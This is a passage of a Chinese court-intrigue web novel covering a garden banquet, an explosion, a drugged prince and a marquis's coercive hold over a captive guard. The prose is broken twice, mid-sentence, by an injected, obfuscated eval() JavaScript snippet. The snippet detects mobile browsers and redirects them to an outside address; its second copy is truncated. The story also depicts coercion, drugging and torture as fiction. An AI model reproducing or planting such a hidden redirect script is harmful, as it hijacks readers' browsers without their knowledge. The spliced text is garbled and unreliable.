“人都到齐了啊,那这场热闹,我总该去看看才好。”崔荧翻开定安长公主的请帖,手指点了点那帖子上的笔墨,圈出了时间,就在明日了。 “并州的漕运船,这两日也该到了?”崔荧看向甲四。 甲四点头:“已经到了,侯爷。” “丙六一直盯着,船前日进的通济渠,昨日停在霞山码头。工部领着人在卸货,内侍省也派了人,是司礼监的汪随堂亲自去的,而后皇城司也去了,说是工部差人手,沈侍郎专门去请的。” “皇城司?”崔荧眼珠一转,心里有了计较,“那明日大公主和安如山也会去赴宴?” “侯爷忘了,上回圣人将清漪园赏给大公主住,这簪花宴大公主怎么会缺席?”甲四提醒道,“至于安将军,请帖是送了的,至于去不去……” “属下听闻今儿下晌,圣人因季长怡夜入长门殿之事,训斥金吾卫玩忽职守,有意撤了安将军皇城司右都统之职,命控鹤监的王用极暂代。王用极武举人出身,才入控鹤监不到一年,据传他曾扬言明春武举会试,状元非他莫属。” 崔荧轻轻一笑,“好大的口气。” 他的视线落在了数日前摆好的棋盘上,那是一局残谱,他思量来去都没寻到解法,便只好扔在那儿不管了。眼下看着,似乎又有些技痒,忍不住想再入局一番。 只是他懒得动,余妈妈蒸了蛋羹,教小厮送过来,他连勺子都不愿动手去拿,便让小厮喂着他吃,他只管张嘴便罢。 吃了几口,觉得腹中暖洋洋的,才懒懒说道:“季长怡是控鹤监的人,那控鹤监向来能在禁内行走,如何又埋怨上金吾卫了?圣人心似海,赵知诚的死,到底动摇了安如山的根基,也不知大公主觉得值不值。” “还是侯爷那把火烧得好。”甲四从善如流地夸赞道。 “少拍。”崔荧笑着嗔道,吩咐甲四:“让十三备好车马,明日随我赴宴。” 17. 第 17 章 辰时末,崔侯爷懒洋洋地起了床。院子里树上又蹲了几只鸟儿,崔荧皱着眉头听它们叫,过了会儿,吩咐侍立的仆从:“将鸟儿赶走了,我这儿不许留活物。” 赖在府里许多日,崔侯爷疏懒于形,今日寻了个由头出府,简单梳洗打扮一番,便如容光焕发般,愈发风流俊逸。侍女小心为崔荧戴上佩饰,崔荧打眼一扫,瞧见那盒子里一只金色耳钉,双生花样式,颜色有些夺目。 他忽然就想到那人殷红的唇,潮、红的脸,从唇齿间泄露出的阵阵喘、息。那模样动人极了,耳垂也软得很。 崔荧手指摩挲,眼里融化一片柔软的笑意,那影卫常年不见阳光,肤色白皙,金色应当很衬。他心头一动,伸手将那枚耳钉拿在了手心。 甲四从绿华院出来,刚给李默换了药,瞧见崔荧走过来,忙行了礼:“侯爷几时出门?记得用了膳再去,免得胃疼……” “少啰嗦。”崔荧心情还算不错,语气带了几分调侃,“你一个大男人,婆婆妈妈做甚?他如何了?” “醒着的。”甲四回应道,“还算听话,一直卧床休养,似乎没外逃的心思。” 崔荧闻言一声轻笑,“他这样的人,敏锐而审慎,很会耐着性子窥伺时机,而后再伺机行动。” “他比大多数人都聪明,也不受情义颜面束缚,未达目的誓不罢休,所以,听话蛰伏不过是表象,他是在等待,一击即中。”崔荧那盈盈的笑意中闪过一丝冷厉,“想要折断他的脊梁,粉碎他的刀,就需要从他最赖以支撑的源头开始。一条狗没了主人,就只能四处流浪,那就太可怜了啊。” “丧家之犬,才不会无隙可乘。”崔荧看向甲四,目光意味深长,“得让他亲眼看到,亲身经历,才能剜掉他的臣服与忠心。” 甲四应是,心里有了计较。 崔荧走进绿华院,忽然又想起:“那女人同他关系如何?” 甲四愣了一下,“哪个女人?” 崔荧不说话,只一双多情狐狸眼随意地看着他,甲四恍然大悟:“乙三专程在查,北境六年,他与木兰并无多少交集。他是执刑者,受罚处刑,清理门户,都是他来做的。” “听起来,心很硬。”崔荧摆手示意甲四退下。 他神色散漫地走进了李默的房间,李默果真乖乖躺在床上,眼睛望着天花板,一动不动的躺着,很是规矩的模样。 崔荧走近了,李默才轻轻动了一下黑眼珠子,那双眼眸澄澈得不像话,似乎藏不住任何心思。 “听说你想回去,还想自罚。”崔荧站在床前,负手弯腰看着李默的脸,“好孩子,别把自己玩死了,你的人和命,都是我的。” “侯爷还不够么?”李默垂着眼睑,并不直视崔荧的视线。 崔荧摇头,“不够,怎么会够呢?” “好孩子,你生得这般好,清润勾人,又有孝心,让我无比着迷,轻易怎么会够呢?”男人伸出手,去抚摸李默的脸,“如果我是你,肯定不会选这个时机。” 这张脸如此淡漠,又如此冷静,却让人无端生出肆虐的爱欲,他轻轻叹了口气,“你知道为何么?” 影卫静静地听着,没有任何情绪,自然也不会回答。 崔荧摸着影卫的耳垂,将手心的那枚金色耳钉,用力按在了李默的右耳上。鲜血和刺痛让李默忍不住看着崔侯爷的眼睛,睫毛如扇羽微微颤动。他下意识想伸手去阻止,却不知为何还是忍住了动作。 崔侯爷端详着血色与金的融合,缀在那张白皙的面容上,果然如他所想,十分相衬。 “多少人想要我的赏赐,你可不许取下来。” 崔荧安抚地拍了拍李默的脸颊,“好孩子,从今日开始,我会让你家主人身败名裂,然后一点一点失去所有倚仗,沦为人人可欺的废物。他这种人,只会无能狂怒,在旁人身上发泄不甘,恐怕不会教你好过的。” 李默没有说话,也不知听进去没有,崔荧浅浅一笑,在李默破肿的双唇上落下温柔一吻,眼眸中似有缱绻深情。 “我等你主动回来,下次伺候我的时候,记得叫出声来,我喜欢听。” 他捏了捏影卫脸颊上的软肉,指尖流连在李默的肌肤上,似乎带着浓烈的不舍之意。但很快,男人收敛了那似有若无的情意,胜券在握般扯了下嘴角,转身离开了房间。 李默又静静地在屋里躺了半晌,右耳上的刺痛隐隐传来,似乎在提醒着什么。 早在六年前,他尚在京城时,曾听闻崔侯爷的风流名声,说府里养了十几名侍妾,个个花容月貌姿态万千。凡是入了他房里的,都会被赐一枚玉剪钉,其形为一只银色燕鸟,取剪去翅膀禁锢后宅之意,因嵌一块玉石而得名玉剪二字。 如今他也受了玉剪钉的赏赐,难不成崔侯爷拿他这个粗陋卑微的男人,也当作房里人不成? 短短半月两进崔侯府,李默都不曾见到崔侯爷姬妾成群的后宅,只见到主人院冷冷清清,连一只活鸟都要赶走。崔侯爷常与花草杂书作伴,似乎不屑声色犬马。 这般做派倒方便了他逃匿,今日崔侯爷出府赴宴,也一并带走了大半护卫。剩下的多数年轻,并非经验丰富之辈,因他与崔侯爷的特殊关系,反倒待他客气许多。偶尔耳尖时,他还听到自己被私下唤如夫人之类的玩笑话。 想来今日是崔侯府守卫薄弱之时,哪怕他重伤未愈,逃出去应当也不难。 清漪园热闹得很,午后阳光明媚,最宜寻欢作乐。簪花宴上,再不和的死对头,都会给长公主几分薄面,表面上做出大大方方的样子。 崔荧与几位皇家主子都没交情,同三皇子李佑慈更是打小看不惯。内阁自不必说,三天两头地吵,就连在紫宸殿上都闹出过难堪来。不过这次内阁,除了刚入阁的户部尚书王融,其余几个老顽固都没来,倒也清净了。 内阁一向被称作外相,而内相,就指这司礼监。除了随堂太监汪怡真,掌印,秉笔,提督三位都来了。再有便是女尚书之称的御前女官,内舍人陆婵,沈妍二人。司礼监制衡内阁,是刘唐一朝用惯了的手段,却也教内侍们逐渐形成朋党之势,而自女皇登基,大力提拔女官,从御前侍读到起草诏令,女官们一步步蚕食司礼监的权限,眼下倒有互相掣肘之意。 这两位女尚书同崔荧关系还算不错,径自坐在了一处,随意聊着话题。 陆婵亦是掖幽庭罪奴出身,当年先帝在位时,其父陆邈乃内阁辅臣,在先帝授意下写了废后诏书,遭女皇记恨报复举家覆灭。她母亲被罚入掖幽庭为奴时已怀有身孕,而后在掖幽庭生下了陆婵。陆婵受母亲悉心教养,教她读书写字,后来以美貌和文采得女皇青睐,一路走到了如今的位置。 这样的身世,说到底是与崔荧有几分同病相怜的。 “近些日子,圣人常念叨侯爷,侯爷得了空也去看看圣人罢。”陆婵向来以女皇为重,这副玲珑心肠最让女皇受用,“侯爷可不知,圣人连着许多日梦中惊醒,夜里总不得安稳。” “太医院看过了么?”崔荧问。 “自是看过的,安神汤不知喝了多少副,不见什么效果。”陆婵忧心忡忡地道,“圣人宿不安稳,白日里也头疼,这两日想着去建国寺参佛,又觉劳师动众,一来一回好几日功夫都去了。” 崔荧闻言微微一笑,把玩着手里的玉核桃,一时并未言语。 不远处长公主拉着大公主李令淑,组织众人玩投壶双陆飞花令之类的乐子,在一众俊男靓女中左右逢源。 真是稀奇了,这一科进士竟都生了些好皮囊。 司礼监同内阁不对付,这回来的人多,那几位又同皇嗣宗亲交情匪浅,推杯换盏间,直把王尚书挤兑到冷板凳去。那王融年方不惑,性子谨慎,女眷那头自是去不得,又早听说过崔侯爷的赫赫凶名,也很不敢来搭这一摊子,只把酒盏饮了又饮。没过一会儿,有一两个进士自称学生靠了过去,三言两语免了些冷落的尴尬。 崔荧冷眼瞧着,这一园子的人情世故,真真是各唱各的戏。 金吾卫安如山没来,朝中不当值的官员来了大半,随便一位放在外头都受人追捧,可在这清漪园里,再威风凛凛也成了边角料,只能做主子们的陪衬。 “去岁万寿节,圣人不是下旨修建灵光寺,待修成之后,何愁参佛远近?”崔荧意有所指,“恒国公劳心劳力,很是费了许多功夫啊。” “远水解不了近渴,灵光寺岂在一时半会儿,倒是大明王佛堂,工部那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817287|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边敦促着即将竣工,若没出那档子事,约莫也赶在这两日成了。圣人的意思,到时亲临霞山……” 陆婵的话音戛然而止,只听得一声巨响,周遭突然骚乱起来,有人大叫一声:“爆炸了!” 清漪园收集了不少奇景异石,那爆炸声便是从假山炸出来的。好在宴席离得远些,只那曲水流觞处不足一丈之远受了些波及,众人除了少数糊了些沙土,其余倒没什么变故。 “这清漪园怎么会有火药?”有人疑问出声,“前阵子大明王佛堂炸了,火药不是被严格搜查管控了吗?” 这些人都是朝中举足轻重的人物,你看看我,我看看你,茫然四顾满心莫名,最终将目光投向了内阁,再转向了崔侯爷。那案子是崔侯爷亲自领着锦衣卫办的,羁押了工部侍郎赵知诚,结果让赵知诚死在了诏狱。 据说口供没有,罪名也没落实,皇城司封城搜查,最后也不了了之了。 如今这清漪园,又发生相同的事情,这可是皇家园林,女皇的骄傲与脸面,怎么会出现如此猖狂的贼人?是想破坏簪花宴,还是别有用心?在场每个人心里都有一副算盘。 “看看有没有谁走失了,假山处有无线索或伤亡。”崔荧站起了身,一句话稳定军心。 他迅速安排了人手,将现场控制起来,“清漪园不许放一个人出去,长公主殿下,烦请你对照名单清点宾客,若有伤者以免贻误时机。” 长公主李宝儿回过神来,镇定自若地吩咐侍从做事,倒是她身旁的大公主李令淑,脸色发白神情有些异样。 “崔照意,清漪园怎么会有火药?”她咬牙切齿地质问崔荧。 崔荧盈盈笑着,毫无恼怒之色,“殿下,这个问题臣怎么回答?火药从何而来,怎么也得抓着线索,顺藤摸瓜,查出来龙去脉,自然便什么都清楚了。” 李令淑听到这话,似是想到了什么,脸上恢复了平静,她探寻的目光一一扫过几人。 二皇子李重华,三皇子李佑慈,四皇子李盈简…… 李盈简六年前落马摔伤了腿,行动十分不便,这会儿有侍从搀扶着,他的神情也不太好看,冲着崔荧话中带刺:“崔侯爷,这大明王佛堂炸了有一月没?怎么侯爷查案子,却连贼人一片衣角都没抓住,反倒逼死了朝廷大员?赵侍郎在工部做事勤恳,向来受母皇器重,怎么就跟那火药扯上了关系?” “今日再出这种事情,崔侯爷办案不力,怕是要给朝廷一个交代才行。”李盈简迅速朝崔荧发难,“崔侯爷蒙蔽母皇,只手遮天,想让谁死就让谁死,这一回难不成还要故技重施?” 崔荧无奈地笑出声:“ 四殿下,你可多虑了。” “臣闭门思过,还没休养好身子呢,查案子的事怎么就轮到我头上了?”崔荧俨然一副冷眼旁观模样,冷冷嗤道,“你们爱谁查谁查,要么,臣受累替四殿下递一封折子,让四殿下主办,如何?” “崔照意,你!”被戳穿了那一份不为人知的心思,李盈简恼羞成怒,“你放肆!” 崔荧懒得搭理他,谁不知道谁呢,耍心眼子耍他头上来了,他岂会如对方的意? “好了,劳烦崔侯主持大局。”长公主一锤定音,这等场面都是大人物,除了崔侯爷,谁能镇压得住? 这姓崔的,内阁敢横行霸道,司礼监亦退避三舍,便连女皇本人,都只能纵容对方。簪花宴出了事,还就只能由他出面,否则皇嗣宗亲个个不是好惹的,还有司礼监这帮老油条,谁肯低三下四地被查? 另外士林文人的清议,皇室的名声,除了崔侯爷谁背得动这口锅?敢在清漪园做案子,背后势力庞杂,必须得要女皇信得过的人出手,长公主心里跟明镜似的。 “等等,六弟呢?”大公主李令淑率先发现,众人纷纷环顾四周,郑三娘子也惊道:“我家七妹妹也没见着。” “那谢进士也不在,还有恒国公,去了何处?”有人报出了异常。 “阿芸别担心。”李佑慈安抚着未婚妻,“可能在假山爆炸处,咱们过去找一找。” 他领着人往那边走,还未近前忽然一声惊叫传来,紧跟着滚出两条纠缠的人来,衣衫凌乱,浑身赤条条的。众人定睛一瞧,不是那六殿下又是谁? 18. 第 18 章 发出惊叫的不是旁人,正是那三名女进士之一。今岁恩科一甲三名,如今最惹人瞩目的寒门学子,谢昭。 她披头散发地跑出来,茫然地看着众人,随后掩面后退,长公主的侍女眼疾手快,将她搀扶住。另有几名侍从,飞快地拿出了披风等物,为六皇子李延玉遮羞。 李延玉面色潮红,紧闭双目不省人事,而他身旁的女子,虽然衣不蔽体却神志清醒,只露了半张小脸和晕染的唇脂,飞快扯着衣衫从地上爬起来,迅速寻了机会跑走。 瞧那身形步法,不似一般柔弱女子。 崔荧给身旁的乙五使了个眼神,乙五领命而去。众目睽睽之下,竟出了这等丑事,六皇子的名声可是被彻底毁了,至于那与郑国公府若即若离的关系,只怕也不能再进一步。 大公主李令淑冷冷瞧了李佑慈一眼,不禁暗骂一声龌蹉。 李佑慈倒是体贴,第一时间就挡住了郑三娘子的视线,以免被这等秽事污了双目。 “究竟是怎么回事?”长公主询问谢昭。 谢昭双颊通红,众人议论纷纷,饶是她性格坚毅,也受不住这么多打量的目光,仿佛在窥探她的内心,将她整个人从里到外,抽丝剥茧刨个干净。 “我,我也不清楚。”谢昭镇定了心神,口齿清晰地说道,“七娘子邀我饮了两盏酒,我们去醉玉轩那边赏花,七娘子说这簪花宴的情趣便在于清漪园的百花齐放,许多珍稀的名品,都是外头寻不见的。” “那七妹妹人呢?”郑芸急急问道。 六皇子出了这等事,郑三娘子很难不往坏处去想,若一个女儿家遭遇了同样的不测,那这辈子就没法活了。诋毁,议论,谩骂,脏水,足可让一个青春正盛的闺阁女子送了性命。到那时,郑国公府的颜面,自然也是保不住的。 谢昭双眼泛红,猛地摇了摇头:“三娘子,我真不知,到了醉玉轩我便觉得昏沉沉,头晕得厉害,在西边那个亭子坐了会儿,后来……” “后来怎样?”郑芸急得快要落泪。 李佑慈连忙安慰她:“阿芸别急,七妹妹定然无事的。” 与此同时,御医匆匆赶来,二皇子李重华并司礼监的人看顾着六皇子李延玉,将昏迷不醒的少年挪去了旁边的楼阁。一帮人关切地随着去了,尤其那些个皇室宗亲,听到里面隐约传来御医的诊断。 “被人下了大量的春药,但六殿下身弱,年岁又小,受不住便昏厥了。” 这话不知被多少人听见,外头围着更多的人,一面听着谢昭的言辞,一面尖着耳朵探听六皇子的情况,个个面色各异,彼此低声交谈着。 谢昭继续说道:“后来我迷迷糊糊听到人声,醒来时就在这假山后头,自知情形不对便赶紧离开。谁知碰到一个黑衣蒙面人,一直纠缠我,还要抓我,捂着我的嘴往后拖。” 说到这,长公主往谢昭的脖颈处一看,确实有被捏掐禁锢的痕迹,证明对方所言非虚。 “再后来便是爆炸声,因离得太近,我直接昏倒在地,再醒来没多久,就发现……”谢昭难以启齿,“便是眼前这情景了。” 她内心忐忑,自知卷进这桩丑闻中,别说未来仕途如何,恐怕眼下都不能抽身而出。 会有人相信她的证词吗?倘若六殿下出了意外,会不会有人将这桩罪名扣在她的头上? 她是圣人钦点的女进士,一甲三名,多少人嫉恨她得天家青睐,想要拉她下马看她笑话。她这月余再谨慎不过,平时除了在翰林院打杂担些抄写的工作,便再无任何交际,即便如此小心翼翼,却仍然不可避免地卷入了这偌大的风波之中。 究竟是看不惯她身无依靠,人人可欺?还是憎恶她女子的身份,却以金榜高中之名打破了旧俗陈规,从此朝堂官宦之中,会有女子的身影? 她环顾四周,看了看两位同为女子的同年,二人眼中均有惊惧之色。 她们三人曾在国子监互相依靠,曾在翰林院高谈阔论,曾在寂静的深夜中酌饮,谈论彼此的治国理想。她们都知道,这是女皇在位,开天辟地头一遭,赋予女人治国者的资格。 倘若她们不能把握住机会,那么就会将这扇门彻底关闭,她们失败的骸骨会成为一座高山,挡住无数后来者前行的道路。而这条路,或许女人再走几百年,都不一定能走得通。 “去醉玉轩找郑七娘子。”长公主立即吩咐下去,“再加派人手搜寻整个清漪园。” 郑三娘子眼里含泪,随着侍从一并去了,李佑慈自然跟在未婚妻身后。但很快,乙五就回来复命,甲十三也带着人将假山四处搜寻了个遍。 “动作很干净,一早就埋伏好了的,并且对清漪园很熟悉,侯爷,这火药同大明王佛堂应是同一批。” 甲十三的话,让李令淑的脸上又生出些异样,她看了看崔荧,又看了看四皇子李盈简,心里不知在想些什么。 “那人也抓住了,还杀了一个。”乙五亦复命道。 崔荧听到这,露出冷冽的笑,“好极了,提到诏狱去,我亲自来审。” “崔侯爷!”李盈简忽然开口,“侯爷不是不想管这案子么?” “怎么,四殿下想接手?”崔荧似笑非笑,“我这人呐,不喜欢查案子,就喜欢审犯人。” 他优雅地拨动着手腕上挂着的翡翠念珠,“诏狱里许久没见着硬骨头了,算他这回运气好,落到崔某人手里。” 那双修长的手指,最像是执笔作赋或弹琴调香的,不曾想却沾满血腥,最会知道如何剥离一个人的皮肉,如何教人血肉模糊痛苦不堪。李盈简不禁想到过去十余年,笼罩在锦衣卫血色阴影下的浩京城。 正是眼前这个看似披着美人皮囊,实则狠辣嗜血的恶鬼,屠虐了浩京十六府,铸造了无数的冤魂与幽灵。其残忍冷酷,简直不能称之为人,仿佛一个冰冷的杀人工具。 他下意识打了一个寒颤,心中生出许多嫌恶之感。 “案子谁来查都行,我负责审口供,四殿下若想插手此事,不若去紫宸殿请旨吧,我在诏狱恭候殿下大驾。当然——”崔荧的目光悠悠转向李令淑,“公主殿下想来看看,亦是可以的,只怕诏狱的血腥,污了殿下的衣裙,那可就不好了。” “本宫身为皇室公主,又有何惧?”李令淑挺直了腰背,如同一只骄傲的孔雀,任何时候都不肯认输。 “那自是好,殿下可得抓紧了。” 崔荧又笑意涟涟地看向长公主李宝儿,那眼神仿若邀请之意。 李宝儿连忙拒绝:“诏狱岂是什么稀罕地方?刑讯审问是侯爷的专长,我可没什么兴趣。这簪花宴是我牵的头,结果出了这等事,还不知圣人如何怪罪我,哎,可怜的小六啊!” 长公主的目光落在了李延玉所在之处,崔荧顺着视线看过去:“殿下多虑了,圣人一向疼惜你,更何况,贼人行事乖张,又并非你的缘由。若真要怪罪,岂非是我这个主审官的不是?” “与侯爷有何相干?分明是贼人作恶多端!若依这位谢进士的证词,想来有人混入宴会中,给众人的酒水里下药。”李宝儿惆怅地叹了口气,那双美艳的双目凝结着些许愁绪,“也不知是我得罪了谁,竟惹下这样的官司。” “我手底下这些人,真是不中用,教旁人钻了空子。我一个无知妇人,只能拜托崔侯爷你好好查查了。”长公主浅拜了一礼,崔荧连忙阻止,“殿下客气。” “长公主行事,哪有什么得罪不得罪的?天下人合该尊奉长公主殿下,任殿下予取予求。”崔荧莞尔,笑意浅淡,“只不过我这人身子不好,四殿下与大公主若是有心,倒可与长公主分忧。” 言下之意,竟是婉拒,李宝儿愣了一瞬,无意间扫了一眼李盈简,随后又落在李令淑的身上。 正欲开口说话,崔府护卫队的人又回来禀报:“郑七娘子寻见了,在醉玉轩的小阁楼中休憩,恒国公酒醉跌进了翠岚湖。” “人可曾有失?”陆司记率先出声。 众人看向她,她便说道:“恒国公监修灵光寺,若是耽搁下来,便误了圣人的差事。” 陆婵便是为着圣人问的,恒国公代表着李家人,而六皇子亦是出身李家,这几番种种,瞧着似乎都是针对李家而来。她在御前侍奉多年,常周旋于各方势力之间,早已经对保持中立驾轻就熟。 然而她心知女皇的性子,即便再不待见李家人,也容不得欺辱到明面上来。 “只是醉酒,遭湖水呛醒了,身体倒没什么大碍。”甲十三回复道,“不过恒国公不愿让我等检查,也不知有什么暗伤。” “那便好,想是无事吧。”陆婵心定了定,又思及正在医治的六皇子,不免觉得两眼发黑。 她与沈妍互觑一眼,彼此都心里有数,清漪园这场闹剧,多半还是为着储位之争而来。而这,也是女皇眼下最容不得的事情。人人都在搅弄风云,这浩京城的天,或许要变了。 傍晚时分,女皇圣驾亲临清漪园,及至烛火通明,六皇子才醒转过来,太医院战战兢兢的御医们总算得了解脱。李延玉随女皇回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔荧累得很,懒懒地坐在清风堂的太师椅上,撑着扶手眯着眼睛歪着脑袋,甲四被他喊了过来,这会儿替他揉着太阳穴。 大公主李令淑坐在对面,绷着一张脸,由侍女伺候着饮茶。陆婵翻着这几日采买的册子,拿笔圈了几处,在她下首坐着的,便是谢昭,也在帮着看册子。 满屋子的人,谢昭只能同陆婵说上几句,她满心敬佩陆婵这样的女官。但陆婵却告诉她,她是制举出身,同自己这般出身内宫的女官不一样,她是要踏入朝堂的人,不应着眼于御前,而是放眼于整个天下。 这也是女皇多年来鼓励女子求学,开恩科擢选女进士的重要原因。而这一政举,居然不过月余,就有人动了歪心思,也难怪女皇非要彻查不可了。 长公主李宝儿命人做了夜宵,领着人进来摆膳:“大家都吃些吧,天大的事,也不急于一时。” 她端了一碗甜羹,递到崔荧的面前,“崔侯爷,瞧着你脸色都不大好了,用了膳干脆歇歇,咱们几人这样硬熬着,也不是办法。” 李令淑瞧那崔荧的神色,不禁冷嗤道:“侯爷还要查到几时?还让不让人睡觉了?” 崔荧睁开眼,轻轻一笑,谢过长公主李宝儿,反问李令淑:“大公主,如今还睡得着么?火药炸了大明王佛堂,死了一个赵知诚,废了一个安如山,丢了皇城司的兵权,如今又炸了清漪园,你说我该查出些什么来?” “你!”李令淑涨红了脸,将茶盏拂在地上,茶水与瓷片粹了一地,“崔照意,你真是疯了!” 整个清风堂静了一瞬,只听得李令淑歇斯底里:“你想清楚了,你到底在说什么!” 当着这么多人的面,还有进进出出的侍从,崔荧半点也不遮掩,端着甜羹吃了一勺,只觉得甜得有些腻了。 离崔荧最近的长公主闻言愣了下,很快脸上又恢复一惯的微笑,似什么都没听见一般。 反倒是谢昭,震惊得瞳孔放大,连手中的炭笔也差点掉落,怎么才出了事崔侯爷便知凶手,甚至直说凶手是大公主?这样的隐秘,是她一个未得官身的进士能听的吗? 她直觉得这些不该听,恨不能立马溜走,或钻入地缝里消失不见。但抬眼一看陆司记,竟也稳如泰山,查看账册的手稳稳地翻过一页,并无任何波动。 “大公主以为我在说什么?”崔荧目光直视李令淑,那满头珠翠的精致妆容下,显露出了一个野心女人的色厉内荏。 “你非要同我撕破脸皮不可?”李令淑恨声质问,咄咄逼人地盯着崔荧。 崔荧无所谓地笑了笑,将甜羹递给甲四,正说道:“这么甜的,他……” 突然,从沉沉夜幕中跑来一人,喘着粗气奔至崔荧身前跪下。 这是一个年轻的崔府护卫,他满脸张皇地道:“侯爷,府里出事了。” “什么事?”崔荧面色未变,那护卫却想死的心都有了,他才发现堂上许多人,但话脱口而出,“山……” 临到头拐了个弯,“侯爷,如夫人又跑了!” 19. 第 19 章 如夫人是底下人私自叫的,甲四偶尔也听两句,这是那位山茶大人的代号。 崔荧自然没有听过,面色一怔:“如夫人?” 他挑眉用眼神询问甲四,心说他怎不知自己府里纳了人? 甲四那张粗糙的脸上,难得露出一丝细腻的难为情,低声道:“侯爷,便是默公子。” 言语之间他也极尽隐晦,堂上这么多人,侯爷也未必想要公之于众。更何况那人的身份尴尬,纵然一时得了侯爷的喜欢,可说出去到底是不好听的。万一再传进三皇子的耳朵里,甲四都不知那人该如何自处了。 侯爷本就与三皇子不对付,这不是明摆着送上门一桩大把柄么? 软肋,自然是要藏着掖着的。 崔荧明白过来轻轻地笑,眉眼弯弯的,周身戾气散尽,不知是被这个称呼讨好了还是怎的,同大公主剑拔弩张的气氛,一时也缓和了下来。 “行,你们这么叫他也行。”崔荧对李默的逃脱,似乎并不意外,照旧将方才被打断的话说完,同甲四继续:“他喜欢甜的,这甜羹他应当会吃吧?” 甲四犹豫道:“应当会。” 崔荧听罢点头,朝长公主客气请求道:“这甜羹十分不错,劳殿下赐食方,臣吃着很受用。” 李宝儿同二人离得近,早就将前两句低声交谈听了个清楚,忙说道:“侯爷既然喜欢,别说食方,做羹汤的厨子也一并送到府上,能得侯爷青睐,是他的福气。” “那便多谢了。”崔荧半点也不否认青睐二字。 李宝儿那双美目秋波流转,盈盈笑道:“侯爷府上几时添了新人?前几日进宫给圣人请安,圣人还念叨侯爷的婚事,若有中意的,咱们也该贺一贺才是。” 话题转到此处,也是在给方才的争吵圆场,李令淑神色依旧不悦,但到底忍了下去,自顾自坐下了。 侍从小心翼翼收拾着地上的茶水瓷片,动作轻巧得几乎可以忽略隐形。 陆婵闻言也搁了笔,提到圣人她总是敏锐的,亦微笑着说道:“长公主殿下说的是,侯爷若有什么喜事,圣人很是愿意赐下些体面。” 如夫人这一称谓,很能看出对方在崔侯心中的位置,若非真上了心,怎么会容忍底下人这般称呼?但凡只是些不看重的,伺候着玩的,以崔侯的冷酷性子,又怎么会弄到台面上来? 人人畏惧崔侯的血腥手段,却不得不承认,这位权倾朝野的宠臣,皮与骨实在是美丽。自然有不怕死的,妄图染指崔侯爷,而这也在浩京城掀起一阵风潮,持续数年不消。只不过崔侯爷素有风流名声,却不曾亲口承认过与谁的过往是非。 而今倒有几分默认的意思,崔荧低沉地笑:“真教几位见笑,这不,才刚跑了么。” 他揉了揉膝盖处,撑着站起身来,“夜深了,诸位也都劳心劳力,不妨各自安歇,明日再作商议。” 说完这话,他颔首行礼,不顾众人的反应,径直转身离去。跪在地上的年轻护卫脑子有些发懵,甲四按了按对方的肩膀,低声轻喝:“还不快跟上,那人的事是能嚷嚷的?你傻不傻。” 众人望着崔荧带人离去的背影,半晌,谁都没有说话。李令淑神情若有所思,李宝儿看了一眼她,又看向陆婵。 陆婵笑道:“崔侯的八卦,圣人一向爱听,回头讲与圣人知道,也是一桩趣事。” “圣人若是知道崔侯雷厉风行,却后院失火,还不知会如何笑话他。”李宝儿掩嘴笑道,“我瞧着,崔侯这回怕是动了心,哪有人能从他手里一而再再而三地跑了?” “且跑了不说,崔侯还这般着急,赶着紧追过去,多半呐,也的确是一桩趣事了。”李宝儿同陆婵心领神会地相视一笑。 谢昭见二人说起轻松的话题,心里也堪堪松了口气,附和道:“崔侯爷天人之姿,早有旷世盛名,却不曾听闻多少风流逸事。那崔府护卫队威名赫赫,这位如夫人来去自如,想是极为厉害的人物了,也不知是哪家女子……” “女子?”李令淑嗤笑一声,“谢进士不曾听到么,崔侯身边的护卫,称呼为默公子。咱们这位京城第一美男子的崔侯爷啊,不爱红妆女娇娥,放在心上的是个男人呢。” 谢昭微怔,她倒真没有听见,自己座位离得远些,不知那名五大三粗的侍卫同崔侯爷说了些什么。 她不着痕迹地环顾陆司记与长公主殿下,竟也没从二人脸上察觉任何惊讶之色。她一时觉得茫然,又内心惶惶不安起来,只觉得偌大的浩京城,人人都深不可测,仿佛吃人的炼狱一般,教人不敢行差踏错半步。 “你追我逃,不失为一种情趣。”李宝儿笑吟吟道,“再者说,能拿捏住崔侯,光凭这一点,就已经足够了。” “倒也是,一把刀有了感情,就锈了刃,不如从前锋利了。”李令淑冷着脸,抚着腕间的翡翠手镯,意味不明地说道,“从前小姑姑的力气都使错了方向,若早送几个男人给崔侯,只怕他早就动了心。” “我也是为圣人解忧,不曾想对不上崔侯的胃口,这回便知道了,好歹替圣人省了件忧心事。”李宝儿仍旧满脸笑意,“陆司记,你说是不是?” “罢了。”李令淑懒得磨嘴上功夫,径直站起身,“夜深了,困得很,不多聊了。” 不等陆婵说什么,李令淑朝李宝儿欠了欠身,风姿绰约地摸了一把发髻上的金钗,款款走进了夜色之中。 夜色正浓,有微风拂过,直教人身上凉意遍生。这一夜,多少人彻夜难眠,灯火通明的浩京城,那些达官贵人的府宅里,仿如鬼魅般,一直在窃窃私语。 李佑慈也没有睡,他熬得眼睛都红了,捏着眉心只觉得胸口发闷,像是被塞了一大团湿漉漉的棉花。 簪花宴这一出戏,他原本以为尽在掌控,可那突如其来的爆炸声教人心惊,尽管六皇子李延玉如约中了招,可是醉玉轩却无事发生。恒国公与郑七娘子清清白白,他不知哪里失了算,更让他放心不下的是,临走时郑芸对他的态度,似乎有些难以言喻的疏离冷淡。 谈不上有多大的不同,该说的话照常在说,该有的关心分毫不减,但郑三娘子给他的感觉,却像是藏了什么心事一样。当时他提出送阿芸与郑薇回府,却教阿芸拒绝了。 是了,若换做以前,阿芸怎么会拒绝?还有郑薇与阿芸之间的拉扯,总让李佑慈心中感到十分不妙。 他的计划只完成了三分,老六出事了,但那位女进士却不曾有事,反倒成了重要人证,握在了崔荧的手里,谁知崔荧会拿此人做什么文章?更何况,他派出去的影卫还没有回来,李佑慈在书房里等得心焦。 